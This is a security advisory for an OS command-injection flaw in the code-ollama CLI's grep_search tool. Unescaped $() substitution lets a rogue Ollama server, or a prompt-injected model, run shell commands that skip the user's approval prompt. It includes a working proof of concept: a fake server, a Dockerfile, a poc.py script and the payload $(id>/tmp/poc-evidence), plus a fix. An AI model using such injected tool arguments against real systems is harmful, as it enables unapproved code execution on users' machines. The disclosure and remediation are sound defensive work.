GHSA-456V-XQ2P-R4CJ

Vulnerability from github – Published: 2026-09-28 13:59 – Updated: 2026-09-28 13:59
VLAI
Summary
code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)
Details

grep_search Command Injection via Unescaped $() Shell Substitution (CWE-78)

Summary

The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grep_search is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).

Details

Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66

const escapedPattern = searchPattern
  .replace(/\\/g, '\\\\')
  .replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell(
  `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);

Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style ` substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified child_process.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.

Full data-flow path (source → sink)

Step Location Action
1 src/utils/ollama.ts:102-103 External Ollama chat stream delivers chunk.message.tool_calls to the CLI
2 src/cli.ts:147-148 Each toolCall is forwarded to tools.executeToolCall()
3 src/utils/tools/dispatcher.ts:300-306 Dispatcher normalizes the call and routes it
4 src/utils/tools/dispatcher.ts:392-393 stringArgs.pattern and stringArgs.path are passed verbatim to grepSearch()
5 src/utils/tools/filesystem/grep.ts:58-63 Incomplete sanitization: only \ and " are escaped (root cause)
6 src/utils/tools/filesystem/grep.ts:65 Shell command string assembled and handed to execShell() (sink)
7 src/utils/tools/shell.ts:46-49 → src/utils/node.ts:1-4 exec() (child_process.exec) executes the string via /bin/sh

Approval-bypass amplifier

grep_search is listed in READ_TOOL_NAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.

PoC

Prerequisites

  • code-ollama v0.36.0 installed (e.g., npm install --global code-ollama@0.36.0 or built from source via the Dockerfile below).
  • ripgrep (rg) available in PATH (the vulnerable code path requires it).
  • Python 3 available to run the fake Ollama server.

Step 1 — Build the self-contained Docker image (recommended)

# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama

The container automatically runs poc.py as CMD. Successful exploitation prints:

[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'

Step 2 — Manual reproduction (bare-metal)

# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading

_req = 0
_lock = threading.Lock()

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"Ollama is running")
    def do_POST(self):
        global _req
        l = int(self.headers.get("Content-Length", 0))
        self.rfile.read(l)
        with _lock:
            _req += 1; n = _req
        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()
        if n == 1:
            chunk = {"model":"fake","message":{"role":"assistant","content":"",
                "tool_calls":[{"function":{"name":"grep_search",
                    "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
                "done":True,"done_reason":"stop"}
        else:
            chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
                "done":True,"done_reason":"stop"}
        self.wfile.write((json.dumps(chunk)+"\n").encode())
        self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &

# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence   # expected: uid=... gid=... groups=...

Explanation of the payload

The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string

rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"

is executed by /bin/sh via child_process.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.

Remediation

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };

-      const escapedPattern = searchPattern
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-      const escapedDirPath = dirPath
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-
-      const { stdout } = await execShell(
-        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
-      );
+      const { stdout } = await execFile(
+        'rg',
+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+        RG_EXEC_OPTIONS,
+      );

Impact

This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grep_search tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMA_HOST connection — can execute arbitrary commands as the OS user running code-ollama.

Impact scope:

  • Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
  • Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history.
  • Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via READ_TOOL_NAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.

Reproduction artifacts

Dockerfile

# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
#   docker run --rm vuln001-code-ollama

FROM node:24-slim

# ripgrep  — required by grepSearch() in the vulnerable code path
# python3  — runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
    ripgrep \
    python3 \
    --no-install-recommends \
 && rm -rf /var/lib/apt/lists/*

# ── Install Node dependencies ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# Install ALL deps (devDeps needed for vite build / tsx fallback)
RUN npm ci

# ── Copy source and build ──────────────────────────────────────────────────────
COPY repo/ ./
# Produces /app/dist/cli.js — the bundled CLI entrypoint
RUN npm run build

# ── Runtime setup ─────────────────────────────────────────────────────────────
# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race
RUN mkdir -p /root/.code-ollama /workspace

COPY vuln-001/poc.py /poc.py

WORKDIR /workspace
CMD ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78)
Repository : ai-action/code-ollama v0.36.0
Sink       : src/utils/tools/filesystem/grep.ts:65
             execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
Attack path: malicious Ollama server -> tool_call.arguments.pattern
             -> grepSearch() -> execShell() -> child_process.exec()

Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized.
This PoC demonstrates that a rogue Ollama server can inject arbitrary shell
commands that execute as the local user running code-ollama.

Usage (inside Docker, called automatically by CMD):
    python3 /poc.py

Expected outcome:
    /tmp/poc-evidence is created with content matching INJECTED_CMD output.
"""

import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434

# The marker file written by the injected command — used as exploitation proof
MARKER_FILE = "/tmp/poc-evidence"

# Payload: $() command substitution that is NOT escaped by code-ollama's
# sanitization (only \\ and " are escaped, leaving $() intact).
# Writes output of `id` to MARKER_FILE to capture the running UID/GID.
INJECTED_CMD = f"$(id>{MARKER_FILE})"

# Path argument for grep_search (must be a valid non-empty string)
TARGET_PATH = "/workspace"

# Tracks how many POST requests the fake server has received
_request_count = 0
_request_lock = threading.Lock()

# ---------------------------------------------------------------------------
# Fake Ollama HTTP server
# ---------------------------------------------------------------------------

class FakeOllamaHandler(BaseHTTPRequestHandler):
    """Minimal Ollama-compatible HTTP server for the PoC.

    First POST /api/chat  -> returns a grep_search tool_call carrying the
                             injected pattern.
    Subsequent POSTs      -> return a plain done response to terminate the
                             code-ollama tool-loop.
    """

    def log_message(self, fmt, *args):  # suppress default request logging
        pass

    # ------------------------------------------------------------------
    # GET — health-check (code-ollama / ollama-npm may call GET /)
    # ------------------------------------------------------------------
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"Ollama is running")

    # ------------------------------------------------------------------
    # POST — chat streaming endpoint
    # ------------------------------------------------------------------
    def do_POST(self):
        global _request_count

        # Consume request body to avoid broken-pipe on the client side
        content_length = int(self.headers.get("Content-Length", 0))
        _ = self.rfile.read(content_length)

        with _request_lock:
            _request_count += 1
            current_request = _request_count

        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()

        if current_request == 1:
            # ---------------------------------------------------------------
            # First request: inject malicious grep_search tool call
            # The `arguments` object is passed verbatim through the ollama-npm
            # library and reaches grepSearch(pattern, path) in grep.ts.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  f"sending malicious grep_search tool_call")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "",
                    "tool_calls": [{
                        "function": {
                            "name": "grep_search",
                            # pattern and path are the two required string args
                            # validated by validateArgs() in dispatcher.ts
                            "arguments": {
                                "pattern": INJECTED_CMD,
                                "path": TARGET_PATH,
                            },
                        }
                    }],
                },
                "done": True,
                "done_reason": "stop",
            }
        else:
            # ---------------------------------------------------------------
            # Subsequent requests: plain text to terminate the tool loop.
            # No tool_calls -> nextMessages stays null -> processRunStream
            # returns after checking hasUncalledToolIntent (no match on
            # "Done.") so the CLI exits cleanly.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  "sending done/stop response")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "Done.",
                },
                "done": True,
                "done_reason": "stop",
            }

        self.wfile.write((json.dumps(chunk) + "\n").encode())
        self.wfile.flush()


def start_fake_server():
    """Start the fake Ollama server in a daemon thread."""
    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


# ---------------------------------------------------------------------------
# Main orchestration
# ---------------------------------------------------------------------------

def main():
    print("=" * 65)
    print("VULN-001: grep_search Command Injection PoC (CWE-78)")
    print("Target : ai-action/code-ollama v0.36.0")
    print("Sink   : src/utils/tools/filesystem/grep.ts:65")
    print("=" * 65)
    print()
    print(f"[*] Payload  : {INJECTED_CMD}")
    print(f"[*] Marker   : {MARKER_FILE}")
    print()

    # Clean up any leftover marker from a previous run
    if os.path.exists(MARKER_FILE):
        os.unlink(MARKER_FILE)
        print(f"[*] Removed stale marker file: {MARKER_FILE}")

    # -----------------------------------------------------------------------
    # 1. Start the fake Ollama server
    # -----------------------------------------------------------------------
    print(f"[*] Starting fake Ollama server on "
          f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...")
    start_fake_server()
    time.sleep(0.4)   # give the server socket time to bind

    # -----------------------------------------------------------------------
    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server
    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)
    # -----------------------------------------------------------------------
    env = os.environ.copy()
    env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"

    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile
    cmd = [
        "node", "/app/dist/cli.js",
        "run", "--trust", "fake", "search the code",
    ]

    print(f"[*] Executing: {' '.join(cmd)}")
    print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
    print()

    try:
        result = subprocess.run(
            cmd,
            env=env,
            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed
            capture_output=True,
            text=True,
            timeout=60,
            cwd="/workspace",
        )
    except subprocess.TimeoutExpired:
        print("[-] code-ollama subprocess timed out after 60 s")
        sys.exit(1)

    print("--- code-ollama stdout ---")
    print(result.stdout[:3000] if result.stdout else "(empty)")
    print("--- code-ollama stderr ---")
    print(result.stderr[:3000] if result.stderr else "(empty)")
    print(f"--- exit code: {result.returncode} ---")
    print()

    # -----------------------------------------------------------------------
    # 3. Verify exploitation: check for the marker file
    # -----------------------------------------------------------------------
    if os.path.exists(MARKER_FILE):
        evidence = open(MARKER_FILE).read().strip()
        print("[+] ============================================================")
        print("[+] EXPLOITATION CONFIRMED")
        print("[+] ============================================================")
        print(f"[+] Marker file : {MARKER_FILE}")
        print(f"[+] Contents    : {evidence!r}")
        print("[+] Explanation : The $() command substitution inside the")
        print("[+]   grep_search pattern was NOT escaped by code-ollama's")
        print("[+]   sanitizer (grep.ts:58-63 only strips \\ and \").")
        print("[+]   execShell() passed the raw string to child_process.exec()")
        print("[+]   which ran it through /bin/sh, executing the injected")
        print("[+]   command as the current user.")
        print("[+] ============================================================")
        sys.exit(0)
    else:
        print("[-] ============================================================")
        print("[-] EXPLOITATION FAILED")
        print(f"[-] Expected marker file NOT found: {MARKER_FILE}")
        print("[-] Possible causes:")
        print("[-]   - ollama-npm parsed tool_call.arguments differently")
        print("[-]   - The pattern was sanitized before reaching execShell()")
        print("[-]   - ripgrep is not installed so the fallback path was taken")
        print("[-]   - The shell used does not support $() substitution")
        print("[-] ============================================================")
        sys.exit(1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.36.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "code-ollama"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.36.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T13:59:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)\n\n### Summary\n\nThe `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.\n\n### Details\n\n**Vulnerable sink \u2014 `src/utils/tools/filesystem/grep.ts:58-66`**\n\n```ts\nconst escapedPattern = searchPattern\n  .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n  .replace(/\"/g, \u0027\\\\\"\u0027);\nconst escapedDirPath = dirPath.replace(/\\\\/g, \u0027\\\\\\\\\u0027).replace(/\"/g, \u0027\\\\\"\u0027);\n\nconst { stdout } = await execShell(\n  `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n);\n```\n\nOnly `\\` and `\"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` \u2014 the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` \u2014 causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.\n\n**Full data-flow path (source \u2192 sink)**\n\n| Step | Location | Action |\n|------|----------|--------|\n| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |\n| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |\n| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |\n| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |\n| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\\` and `\"` are escaped (**root cause**) |\n| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |\n| 7 | `src/utils/tools/shell.ts:46-49` \u2192 `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |\n\n**Approval-bypass amplifier**\n\n`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.\n\n### PoC\n\n**Prerequisites**\n\n- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).\n- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).\n- Python 3 available to run the fake Ollama server.\n\n**Step 1 \u2014 Build the self-contained Docker image (recommended)**\n\n```sh\n# From the report root directory (where vuln-001/ lives)\ndocker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\ndocker run --rm vuln001-code-ollama\n```\n\nThe container automatically runs `poc.py` as `CMD`. Successful exploitation prints:\n\n```\n[+] EXPLOITATION CONFIRMED\n[+] Marker file : /tmp/poc-evidence\n[+] Contents    : \u0027uid=0(root) gid=0(root) groups=0(root)\u0027\n```\n\n**Step 2 \u2014 Manual reproduction (bare-metal)**\n\n```sh\n# Terminal 1 \u2014 start the malicious Ollama server\ncat \u003e /tmp/fake-ollama.py \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json, sys, threading\n\n_req = 0\n_lock = threading.Lock()\n\nclass H(BaseHTTPRequestHandler):\n    def log_message(self, *a): pass\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n    def do_POST(self):\n        global _req\n        l = int(self.headers.get(\"Content-Length\", 0))\n        self.rfile.read(l)\n        with _lock:\n            _req += 1; n = _req\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n        if n == 1:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"\",\n                \"tool_calls\":[{\"function\":{\"name\":\"grep_search\",\n                    \"arguments\":{\"pattern\":\"$(id\u003e/tmp/poc-evidence)\",\"path\":\"/tmp\"}}}]},\n                \"done\":True,\"done_reason\":\"stop\"}\n        else:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"Done.\"},\n                \"done\":True,\"done_reason\":\"stop\"}\n        self.wfile.write((json.dumps(chunk)+\"\\n\").encode())\n        self.wfile.flush()\n\nHTTPServer((\"127.0.0.1\", 11434), H).serve_forever()\nPY\npython3 /tmp/fake-ollama.py \u0026\n\n# Terminal 2 \u2014 run code-ollama against the fake server\nrm -f /tmp/poc-evidence\nOLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake \"search the code\"\ncat /tmp/poc-evidence   # expected: uid=... gid=... groups=...\n```\n\n**Explanation of the payload**\n\nThe `pattern` argument value `$(id\u003e/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\\` and `\"` are stripped. When the resulting shell string\n\n```\nrg --line-number --no-heading --smart-case \"$(id\u003e/tmp/poc-evidence)\" \"/tmp\"\n```\n\nis executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.\n\n**Remediation**\n\nReplace the shell-string construction with an argument-vector call to avoid the shell entirely:\n\n```diff\n-import { execShell } from \u0027../shell\u0027;\n+import { execFile } from \u0027../../node\u0027;\n+\n+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };\n\n-      const escapedPattern = searchPattern\n-        .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n-        .replace(/\"/g, \u0027\\\\\"\u0027);\n-      const escapedDirPath = dirPath\n-        .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n-        .replace(/\"/g, \u0027\\\\\"\u0027);\n-\n-      const { stdout } = await execShell(\n-        `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n-      );\n+      const { stdout } = await execFile(\n+        \u0027rg\u0027,\n+        [\u0027--line-number\u0027, \u0027--no-heading\u0027, \u0027--smart-case\u0027, \u0027--\u0027, searchPattern, dirPath],\n+        RG_EXEC_OPTIONS,\n+      );\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response \u2014 including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection \u2014 can execute arbitrary commands as the OS user running `code-ollama`.\n\nImpact scope:\n\n- **Confidentiality (High)** \u2014 attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.\n- **Integrity (High)** \u2014 attacker can modify or delete files, plant backdoors, alter repository history.\n- **Availability (High)** \u2014 attacker can terminate processes, corrupt data, or consume system resources.\n\nThe approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: grep_search Command Injection \u2014 CWE-78\n# Target: ai-action/code-ollama v0.36.0\n# Proof-of-concept Docker image: builds the repo and runs poc.py\n#\n# Build (from project root):\n#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\n# Run:\n#   docker run --rm vuln001-code-ollama\n\nFROM node:24-slim\n\n# ripgrep  \u2014 required by grepSearch() in the vulnerable code path\n# python3  \u2014 runs poc.py orchestration script\nRUN apt-get update \u0026\u0026 apt-get install -y \\\n    ripgrep \\\n    python3 \\\n    --no-install-recommends \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# \u2500\u2500 Install Node dependencies \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\nCOPY repo/package.json repo/package-lock.json ./\n# Install ALL deps (devDeps needed for vite build / tsx fallback)\nRUN npm ci\n\n# \u2500\u2500 Copy source and build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY repo/ ./\n# Produces /app/dist/cli.js \u2014 the bundled CLI entrypoint\nRUN npm run build\n\n# \u2500\u2500 Runtime setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race\nRUN mkdir -p /root/.code-ollama /workspace\n\nCOPY vuln-001/poc.py /poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: VULN-001 \u2014 grep_search Command Injection (CWE-78)\nRepository : ai-action/code-ollama v0.36.0\nSink       : src/utils/tools/filesystem/grep.ts:65\n             execShell(`rg ... \"${escapedPattern}\" \"${escapedDirPath}\"`)\nAttack path: malicious Ollama server -\u003e tool_call.arguments.pattern\n             -\u003e grepSearch() -\u003e execShell() -\u003e child_process.exec()\n\nOnly `\\\\` and `\"` are escaped; `$()` command substitution is NOT neutralized.\nThis PoC demonstrates that a rogue Ollama server can inject arbitrary shell\ncommands that execute as the local user running code-ollama.\n\nUsage (inside Docker, called automatically by CMD):\n    python3 /poc.py\n\nExpected outcome:\n    /tmp/poc-evidence is created with content matching INJECTED_CMD output.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nFAKE_SERVER_HOST = \"127.0.0.1\"\nFAKE_SERVER_PORT = 11434\n\n# The marker file written by the injected command \u2014 used as exploitation proof\nMARKER_FILE = \"/tmp/poc-evidence\"\n\n# Payload: $() command substitution that is NOT escaped by code-ollama\u0027s\n# sanitization (only \\\\ and \" are escaped, leaving $() intact).\n# Writes output of `id` to MARKER_FILE to capture the running UID/GID.\nINJECTED_CMD = f\"$(id\u003e{MARKER_FILE})\"\n\n# Path argument for grep_search (must be a valid non-empty string)\nTARGET_PATH = \"/workspace\"\n\n# Tracks how many POST requests the fake server has received\n_request_count = 0\n_request_lock = threading.Lock()\n\n# ---------------------------------------------------------------------------\n# Fake Ollama HTTP server\n# ---------------------------------------------------------------------------\n\nclass FakeOllamaHandler(BaseHTTPRequestHandler):\n    \"\"\"Minimal Ollama-compatible HTTP server for the PoC.\n\n    First POST /api/chat  -\u003e returns a grep_search tool_call carrying the\n                             injected pattern.\n    Subsequent POSTs      -\u003e return a plain done response to terminate the\n                             code-ollama tool-loop.\n    \"\"\"\n\n    def log_message(self, fmt, *args):  # suppress default request logging\n        pass\n\n    # ------------------------------------------------------------------\n    # GET \u2014 health-check (code-ollama / ollama-npm may call GET /)\n    # ------------------------------------------------------------------\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n\n    # ------------------------------------------------------------------\n    # POST \u2014 chat streaming endpoint\n    # ------------------------------------------------------------------\n    def do_POST(self):\n        global _request_count\n\n        # Consume request body to avoid broken-pipe on the client side\n        content_length = int(self.headers.get(\"Content-Length\", 0))\n        _ = self.rfile.read(content_length)\n\n        with _request_lock:\n            _request_count += 1\n            current_request = _request_count\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n\n        if current_request == 1:\n            # ---------------------------------------------------------------\n            # First request: inject malicious grep_search tool call\n            # The `arguments` object is passed verbatim through the ollama-npm\n            # library and reaches grepSearch(pattern, path) in grep.ts.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  f\"sending malicious grep_search tool_call\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"\",\n                    \"tool_calls\": [{\n                        \"function\": {\n                            \"name\": \"grep_search\",\n                            # pattern and path are the two required string args\n                            # validated by validateArgs() in dispatcher.ts\n                            \"arguments\": {\n                                \"pattern\": INJECTED_CMD,\n                                \"path\": TARGET_PATH,\n                            },\n                        }\n                    }],\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n        else:\n            # ---------------------------------------------------------------\n            # Subsequent requests: plain text to terminate the tool loop.\n            # No tool_calls -\u003e nextMessages stays null -\u003e processRunStream\n            # returns after checking hasUncalledToolIntent (no match on\n            # \"Done.\") so the CLI exits cleanly.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  \"sending done/stop response\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"Done.\",\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n\n        self.wfile.write((json.dumps(chunk) + \"\\n\").encode())\n        self.wfile.flush()\n\n\ndef start_fake_server():\n    \"\"\"Start the fake Ollama server in a daemon thread.\"\"\"\n    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\n# ---------------------------------------------------------------------------\n# Main orchestration\n# ---------------------------------------------------------------------------\n\ndef main():\n    print(\"=\" * 65)\n    print(\"VULN-001: grep_search Command Injection PoC (CWE-78)\")\n    print(\"Target : 